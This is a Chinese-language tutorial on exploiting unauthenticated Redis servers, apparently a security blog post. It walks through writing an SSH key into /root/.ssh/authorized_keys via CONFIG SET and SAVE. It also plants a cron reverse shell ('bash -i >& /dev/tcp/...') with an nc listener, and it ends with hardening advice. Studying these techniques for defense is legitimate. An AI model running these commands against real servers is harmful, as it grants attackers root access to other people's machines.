Redis 未授权漏洞简介

本文仅供学习交流使用，切勿用于非法用途

redis 概述#

Redis 是一个开源（BSD 许可）的，内存中的数据结构存储系统，它可以用作数据库、缓存和消息中间件。

redis 协议使用符号前缀标识数据类型

In RESP, the type of some data depends on the first byte:

For Simple Strings the first byte of the reply is ”> +”

For Errors the first byte of the reply is ”-”

For Integers the first byte of the reply is ”:”

For Bulk Strings the first byte of the reply is ”$”

For Arrays the first byte of the reply is ”*“

常用命令#

GET key获取 key 值
SET key value [expiration EX seconds|PX milliseconds] [NX|XX] 将键 key 设定为指定的字符串值，覆盖旧值和过期时间
- EX seconds – 设置键 key 的过期时间/秒
- PX milliseconds – 设置键 key 的过期时间/毫秒
- NX – 只有键 key 不存在的时候才会设置 key 的值
- XX – 只有键 key 存在的时候才会设置 key 的值
DEL key [key ...]删除指定 key 的值，返回删除的 key 的数量
KEYS pattern查找所有符合给定模式 pattern（正则表达式）的 key
INFO返回关于 Redis 服务器的各种信息和统计数值
CONFIG GET parameter读取 redis 服务器的配置文件参数
CONFIG SET parameter设置 redis 服务器的配置文件参数
SAVE将数据保存到磁盘
FLUSHDB删除当前数据库里面的所有数据
AUTH password密码认证

未授权利用#

利用前提：目标机器 redis 端口暴露，未设置密码（或仅设置弱密码）且 redis 运行在高权限用户
利用原理：redis 提供的 config 命令可以修改数据文件的位置，通过将自己的公钥写入 redis，然后修改数据文件保存位置，覆盖~/.ssh/authorized_keys可以获得服务器访问权限
利用过程

1
# 连接 redis 默认端口
2
nc 192.168.1.1 6379
3

4
# 尝试查看 redis 信息 提示未认证
5
info
6
-NOAUTH Authentication required.
7

8
# 认证
9
auth ${PASSWORD}
10
+OK
11

12
# 查看当前目录
13
config get dir
14
*2
15
$3
16
dir
17
$19
18
/var/lib/redis/6379
19

20
# 查看数据文件名
21
config get dbfilename
22
*2
23
$10
24
dbfilename
25
$8
26
dump.rdb
27

28
# 设置 x 的值为公钥
29
set x "\n\n\nssh-rsa AAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\n\n"
30
+OK
31

32
# 修改目录为 /root/.ssh
33
config set dir /root/.ssh/
34
+OK
35

36
# 修改数据文件为 authorized_keys
37
config set dbfilename authorized_keys
38
+OK
39

40
# 保存数据
41
save
42
+OK
43

44
# 删除 x 的值
45
del x
46
:1
47

48
# 关闭连接
49
quit
50
+OK

在 crontab 里写入反弹 shell 同样能够获取目标机器权限

1
# 在 crontab 里写入反弹 shell
2
set x "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.1.1/8888 0>&1\n\n\n"
3
config set dir /var/spool/cron/
4
config set dbfilename root
5
save

之后在本机监听端口即可

1
# 本地监听
2
nc -lvnp 8888
3

4
# 查看crontab任务
5
crontab -l

防护方式#

使用强密码requirepass XXXXXXXXX
关闭外网访问bind 127.0.0.1
修改默认的端口，一定程度上避免被扫描
使用低权限用户启动 redis
在 redis.conf 禁用高危命令

1
rename-command FLUSHALL ""
2
rename-command FLUSHDB ""
3
rename-command CONFIG ""
4
rename-command EVAL ""

redis 概述#

常用命令#

未授权利用#

防护方式#

参考文献#